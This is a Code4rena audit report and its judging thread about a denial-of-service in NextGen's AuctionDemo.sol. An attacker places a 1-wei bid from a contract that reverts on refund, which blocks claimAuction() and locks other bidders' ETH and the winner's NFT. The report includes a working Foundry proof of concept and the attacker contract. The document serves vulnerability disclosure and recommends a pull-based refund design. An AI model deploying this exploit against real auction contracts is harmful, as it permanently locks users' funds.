Attacker can prevent highest bidder from receiving auctioned token and users from receiving their ETH back

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104

Vulnerability details

Impact

An attacker can prevent the highest bidder from receiving the auctioned token and the users from receiving their ETH back (deposited from previous bids - that were not cancelled). This is because the current implementation uses a push over pull mechanism to refund the user's ETH. This means that external calls are made to the user's address, instead of letting them withdraw it themselves. The issue arises when an attacker intentionally deposits dust amount of ETH as soon as the auction starts (in order to be included in the list of active bidders) and reverts (in his receiver contract's receive/fallback function) during the refunding process in claimAuction(). This would mean permanent locking of the user's funds in the AuctionDemo.sol contract.

Additionally, the ETH of the highest bidder (who won the auction) are not transferred to the ownerOf() AuctionDemo.sol, which means it is a loss for the team as well since those ETH are permanently locked in AuctionDemo.sol contract as well.

The impact of this issue is critical since user's ETH is permanently locked and no bargaining can be done with the attacker to cancel his bid past the auctionEndTime since cancelBid() function would revert.

Note: This finding assumes that the mitigation of M-01 bot finding has been applied i.e. checking the return value of success from low-level call in order to prevent failed calls from continuing and not refunding the users (for whom the low-level calls failed). The mitigation being applied has been confirmed with the sponsor as well (see below).

Proof of Concept

Here is the whole process:

1. Attacker calls the participateToAuction() function with a very small dust amount of ETH as soon as the auction starts. The following happens in the function:

• Line 58, we pass this check since msg.value is greater than highest bid i.e. 0
• Line 59-60, a new bid is created under the address of attacker's malicious contract (through which the attacker called) with the dust amount of msg.value. This is then pushed to the auctionInfoData[_tokenid], which stores the list of active bidders.

File: AuctionDemo.sol
57:     function participateToAuction(uint256 _tokenid) public payable {
58:         require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
59:         auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
60:         auctionInfoData[_tokenid].push(newBid);
61:     }

2. Now let's assume the auction ended with Alice winning the auction. When Alice calls the claimAuction() function, the following happens (added low-level check on Line 117 recommended by the [M-01] bot finding):

• On Line 112, Alice is transferred the auctioned token
• On Line 113, Alice's ETH is sent to ownerOf() AuctionDemo.sol
• On Line 116, the users with previous active bids are refunded.
• On Line 116, when the external low-level call is made to the attacker's malicious contract address that was used to participate in the auction, the malicious contract address intentionally reverts in its receive/fallback function (when invoked by the low-level call).
• On Line 117, the value of success is checked to determine if call failed or not. Since the attacker intentionally failed the call by reverting, success = false causing the whole claimAuction() transaction created by Alice to be reverted.

File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 if (!success) revert("Refund failed");
118:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
119:             } else {}
120:         }
121:     }

3. Although the attacker will lose the small dust amount of ETH that was deposited in the beginning of the auction, the other users placing bigger bids will permanently lose their ETH due to being non-refundable. Furthermore, Alice is deprived from receiving the auctioned token that she won.

4. Additionally, the team cannot bargain with the attacker to cancel his bid post the auctionEndTime (in order to refund the users who lost ETH) since the check on Line 125 does not allow cancelling bids past the auctionEndTime.

File: AuctionDemo.sol
124:     function cancelBid(uint256 _tokenid, uint256 index) public {
125:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
126:         require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
127:         auctionInfoData[_tokenid][index].status = false;
128:         (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
129:         emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
130:     }

Coded POC

Here are some points to understand this POC:

• For this POC to work, make sure you've added Line 117 to the claimAuction() function. As I mentioned previously this will be applied as a mitigation to the bot finding, which has been confirmed by the sponsor (in the image above).

File: AuctionDemo.sol
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 if(!success) revert("Refund failed!"); //Add this

• Line 33 to 53 is the setup
• Public phase start time = 1000s, Public phase end time = 700000s (time in foundry starts from 0)
• Run the test using forge test --match-test testAttackerPreventsWinnerFromReceivingNFTAndUsersFromReceivingETHBack -vvvvv
• Function testAttackerPreventsWinnerFromReceivingNFTAndUsersFromReceivingETHBack() sets up the Azuki collection on the first line
• Followed by which it warps 1000s to start the public phase.
• In the POC, alice, bob and charlie are the bidders participating in the auction. The winner of the auction is charlie.
• The teamsTrustedAddress variable is the address that will hold the NFT throughout the auction and then transfer it to charlie when he calls claimAuction()
• In return the team should receive charlie's bid amount
• Now, the functionAdmin (in our case the testing contract itself) calls the mintAndAuction() function to mint a token to the teamsTrustedAddress and start the auction for it.
• The end time of the auction is set to 10000s
• Now as soon as the auction started, the attacker calls the attacker contract through his EOA, which further calls the participateToAuction() on the AuctionDemo.sol contract.
• The attacker places a bid of 1 Wei and is now included in the list of bidders array.
• Alice, Bob and Charlie now place their bids of 1 ETH, 2 ETH and 3 ETH respectively.
• We warp 10000s to the end of the auction.
• Charlie now calls claimAuction() since he is the winner. But the call fails since while refunding, the receive() function in the Attacker's contract always reverts with the message "I'm malicious, get rekt".
• Line 92 asserts that the success of charlie's claimAuction call is false.
• Furthermore, Lines 98 to 101 further prove that alice, bob, the team do not receive their ETH and charlie does not receive the NFT token.
• Make sure to add both the POC and the attacker contract provided below to the hardhat/test folder before running the forge test --match-test testAttackerPreventsWinnerFromReceivingNFTAndUsersFromReceivingETHBack -vvvvv command.
• I've provided helpful comments to assist while reading the POC and tried to make the function names as self-explanatory as possible as well.

File: TestContract6.t.sol
001: // SPDX-License-Identifier: MIT
002: 
003: pragma solidity ^0.8.19;
004: 
005: import {Test, console} from "forge-std/Test.sol";
006: 
007: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
008: import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
009: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
010: import {randomPool} from "../smart-contracts/XRandoms.sol";
011: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
012: import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
013: import {AttackerContract} from "./AttackerContract.t.sol";
014: 
015: contract TestContract6 is Test {
016: 
017:     NextGenMinterContract minter;
018:     NextGenCore gencore;
019:     NextGenAdmins adminsContract;
020:     randomPool xrandoms;
021:     NextGenRandomizerNXT randomizer;
022:     auctionDemo auctionContract;
023:     AttackerContract attackerContract;
024: 
025:     //List of Bidders
026:     address alice = makeAddr("Bidder1");
027:     address bob = makeAddr("Bidder2");  
028:     address charlie = makeAddr("Bidder3"); 
029: 
030:     address teamsTrustedAddress = makeAddr("TrustedAddress");
031:     address attacker = makeAddr("AttackerEOA");
032: 
033:     function setUp() public {
034:         //Deployment process - Followed from docs
035:         adminsContract = new NextGenAdmins();
036:         gencore = new NextGenCore("", "", address(adminsContract));
037:         minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract));
038:         xrandoms = new randomPool();
039:         randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore));
040:         auctionContract = new auctionDemo(address(minter), address(gencore), address(adminsContract));
041:         attackerContract = new AttackerContract();
042:     }
043: 
044:     function testSetUpCollection() public {
045:         string[] memory emptyScript;
046:         gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript);
047:         gencore.setCollectionData(1, address(0), 1, 10000, 0);
048:         minter.setCollectionCosts(1, 4000000000000000000, 0, 0, 600, 1,
049:         address(0));
050:         minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check
051:         gencore.addMinterContract(address(minter));
052:         gencore.addRandomizer(1, address(randomizer));
053:     }
054: 
055:     function testUsersParticipateInAuction() public {
056:         vm.deal(alice, 1000000000000000000);//Give alice 1 ETH for bid
057:         vm.deal(bob, 2000000000000000000);//Give bob 2 ETH for bid
058:         vm.deal(charlie, 3000000000000000000);//Give charlie 3 ETH for bid
059: 
060:         bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", 10000000000);
061:         
062:         vm.prank(alice);
063:         (bool success1,) = address(auctionContract).call{value: 1000000000000000000}(selector);
064: 
065:         vm.prank(bob);
066:         (bool success2,) = address(auctionContract).call{value: 2000000000000000000}(selector);
067: 
068:         vm.prank(charlie);
069:         (bool success3,) = address(auctionContract).call{value: 3000000000000000000}(selector);
070:     }
071: 
072:     function testAttackerPreventsWinnerFromReceivingNFTAndUsersFromReceivingETHBack() public {
073:         testSetUpCollection();
074:         vm.warp(1000); //Starts public sale during which mintAndAuction() can be called
075:         minter.mintAndAuction(teamsTrustedAddress, "", 0, 1, 10000); //Starts auction (auction ends at 10000)
076: 
077:         //Setting up selector that attacker EOA will call on attacker contract
078:         bytes memory selector = abi.encodeWithSignature("participateInAuction(address,uint256)", auctionContract, 10000000000);
079: 
080:         vm.deal(attacker, 1000000000000000000); //Just giving attacker 1 ETH though not required
081:         vm.prank(attacker);
082:         (bool sucess,) = address(attackerContract).call{value: 1}(selector);// Attacker deposits dust amount as soon as auction starts
083: 
084:         testUsersParticipateInAuction(); //Highest bidder being Charlie with 3 ETH
085: 
086:         vm.warp(10000); //Ends auction
087: 
088:         bytes memory selector2 = abi.encodeWithSignature("claimAuction(uint256)", 10000000000);
089:         vm.prank(charlie);
090:         (bool success,) = address(auctionContract).call(selector2);
091:         
092:         assertEq(success, false); //If this is true, finding is valid since attacker's contract reverts in receive() function
093: 
094:         uint256 aliceBalance = address(alice).balance;
095:         uint256 bobBalance = address(bob).balance;
096:         uint256 charlieNFTBalance = gencore.balanceOf(charlie); //since charlie won the auction he receives NFT
097:         uint256 teamsBalance = address(teamsTrustedAddress).balance; //team gets charlie's bid amount
098:         assertEq(aliceBalance, 0); //Means alice did not get refunded
099:         assertEq(bobBalance, 0); //Means bob did not get refunded
100:         assertEq(charlieNFTBalance, 0); //Means charlie did not get the NFT
101:         assertEq(teamsBalance, 0); //Means teams trusted address did not get charlie's bid amount
102:     }
103: }

Attacker's Contract

File: AttackerContract.t.sol
03: pragma solidity ^0.8.19;
04: 
05: contract AttackerContract {
06: 
07:     receive() external payable {
08:         revert("I'm malicious, get rekt");
09:     }
10: 
11:     function participateInAuction(address target, uint256 tokenId) public payable {
12:         bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", tokenId);
13:         (bool success,) = payable(target).call{value: msg.value}(selector);
14:     }
15: 
16:     //Attacker can implement any withdraw mechanisms though not important in context here
17: }

Tools Used

Manual Review

Recommended Mitigation Steps

Use a pull over push mechanism, which allows users to withdraw by calling the AuctionDemo.sol contract instead of sending the ETH back to them. The claimAuction() function should only include the transfer of the auctioned token to the winner and transfer of ETH to the team's trusted address.

Assessed type

call/delegatecall

[c4-pre-sort]

141345 marked the issue as duplicate of #1632

[c4-pre-sort]

141345 marked the issue as duplicate of #843

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #2006

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Out of scope

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Out of scope

[mcgrathcoutinho]

Hi @alex-ppg , here are some points I'd like to point out as to why I believe this issue is valid:

1. The sponsor has clearly confirmed that they will be applying the mitigation in the screenshot above (impact section). There is no assumption being made here as other issues do.
2. As to why the sponsor would apply the mitigation, it is because if it is not applied, the issue of return value of call not being checked exists (which could mean no refund for the user if the call fails). Thus, it makes sense for the sponsor to apply the mitigation. But hardly does the sponsor notice that this gives rise to the issue mentioned in my report.
3. According to the C4 final SC verdict in the docs, the ruling was changed to consultative where it mentions that chaining OOS findings can be helpful in some scenarios. In our case it is definitely helpful since it gives rise to a critical-severity issue.
4. Due to this, I believe this issue is valid and would provide the sponsor value since it is an unknown attack vector arising out of a confirmed mitigation.

Thank you for taking the time to read this.

[alex-ppg]

Hey @mcgrathcoutinho, thanks for providing feedback on this! I consulted on this with three different judges before making a verdict to ensure I am aligned with the census around OOS findings.

To note, the verdict you list on point 3 that mentions OOS findings speaks about the instance of the code that is audited. As such, it covers bot findings, external libraries, etc. but does not cover speculation on future code. This falls under the relevant SC verdict highlighted in the primary issue's judgment: #1785 (comment)

[mcgrathcoutinho]

Hi @alex-ppg, thanks for the response.

The speculation on future code states:

Warden may make an argument on why a future code change that would make the bug manifest is reasonably likely. Based on likelihood considerations, the Judge may assign a severity rating in any way they see fit.

In this case, the bug manifesting is very much likely due to the sponsor confirmation in the screenshot above which agrees on the future code change i.e. the mitigation. Based on the fact that funds of all users and the winner's NFT is permanently locked with only a 1 wei deposit being required by the attacker, why would this issue not be of valid critical severity?

[alex-ppg]

Hey @mcgrathcoutinho, thanks again for requesting additional clarification! You are free to follow up with the Sponsor concerning issues that show up after they carry out their remediations without proper care. As mentioned before, I consulted with multiple SC judges concerning this and thus consider my judgment final. Any issue that would arise from a remediation of a bot report finding opens up a huge can of worms in terms of fairness/competency and I believe the following statement sums up this judgment:

We definitely cannot and should not assume that the Sponsor will blindly follow any suggested remediation, bot or otherwise.

Keep in mind that information acquired from DMs with the Sponsor is in my opinion OOS as it would provide you with an unfair advantage. Submissions are not allowed to quote statements from the Sponsor, they should merely build on clarifications provided from them in a neutral way. Additionally, the Sponsor above has confirmed that they will be applying the remediation which is checking the result of the call; this does not necessarily mean they will check it with a require and can handle it in a myriad of different ways.